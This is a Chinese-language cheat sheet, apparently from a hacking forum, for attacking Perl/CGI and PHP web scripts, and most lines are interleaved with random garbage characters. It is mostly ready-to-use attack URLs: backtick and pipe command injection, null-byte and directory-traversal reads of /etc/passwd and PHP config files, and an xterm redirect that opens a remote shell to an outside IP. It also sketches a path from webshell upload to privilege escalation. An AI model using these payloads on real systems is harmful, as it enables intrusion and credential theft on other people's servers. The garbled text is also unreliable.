总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 ! K6 Z: y% V4 c
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
9 {1 q, ]; C4 w$ _7 G" n4 \' x感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ) ^0 f- z3 {0 d, g; K% X# L& F7 _: [
注“ 0 F( X8 z/ L( [
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
7 I2 h; G/ @* B; m% F4 u7 G9 P以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 3 n8 j" F. K% n$ a
0 }: u/ N P3 k/ o
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 : Q" x) l' l6 _
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
3 z4 G* T1 `/ q5 F4 ?; Jhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 2 E6 K7 N0 N2 Q* G7 s4 p1 r
http://target.com/cgi-bin/home/news/sub.pl?`id`
2 P: X- h1 c: C# P1 ]" ghttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
, f0 f( p y3 E: h/ Whttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
+ e, |3 k' p Q* [* O& v
, O( P/ B5 x( I1 t9 ]http://target.com/test.pl;ls|
F* L4 s( Y4 R2 E! t% Ahttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
0 L9 i B2 D1 _% l! V' ]http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
7 e% K) M1 Y& G) E2 [http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
& `" j% V! ~) |& g比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 * \" |; m4 L& [
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
7 c) ~* k) Y. w$ Z# A" G0 Y
- Z3 l* ~+ d3 c# O& g8 R- Hhttp://target.com/test.pl?&........ /../../etc/passwd
( A1 g( t5 Q" R6 Y6 n1 B9 a* q/ Y( j, z! X N
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ : ]% H* O& R5 Y% N
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
: K* X9 U$ @& E6 Q! qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 . S4 H0 i, ?0 J' C3 s
; r* |3 Y4 r$ G1 U3 @! Shttp://www.target.org/show.php?f ... /include/config.php 查看php代码
% q6 B# u4 {( i& D$ l& ?http://www.target.org/show.php?f ... ng/admin/global.php
4 q) C" g3 H. L) }$ _# B
" p4 i) r$ e( N4 Xemm和ps的一句话
6 J2 `2 n- f% Z( H
M3 g: X0 W0 r4 L0 \/ W$ u7 e+ dhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 # e# j$ m& f& H5 I
8 c, ~( w$ i- d
>bbb%20|
5 |0 W- z+ z z. }0 Z- o' [( y) w% h+ ~6 a1 D5 u; t
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 4 e+ K- f7 j" R+ _( z9 O
7 m2 ]& @, f7 fhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
# ~4 o2 b. v6 [http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin + t: z7 t& r# e" I$ @
# @3 c0 V4 ^! n' B: j7 x2 j( t相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
5 N8 H9 l$ ^( I0 s8 W; [http://target.com/index.html#cmd.exe 3 m9 D, W" E7 N- v9 s5 V- V K
http://target.com/index.html?dummyparam=xp_cmdshell ) m# }0 e0 C7 X5 c/ p, q
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
5 t; C/ m! g# C8 n/ Q1 v/ V |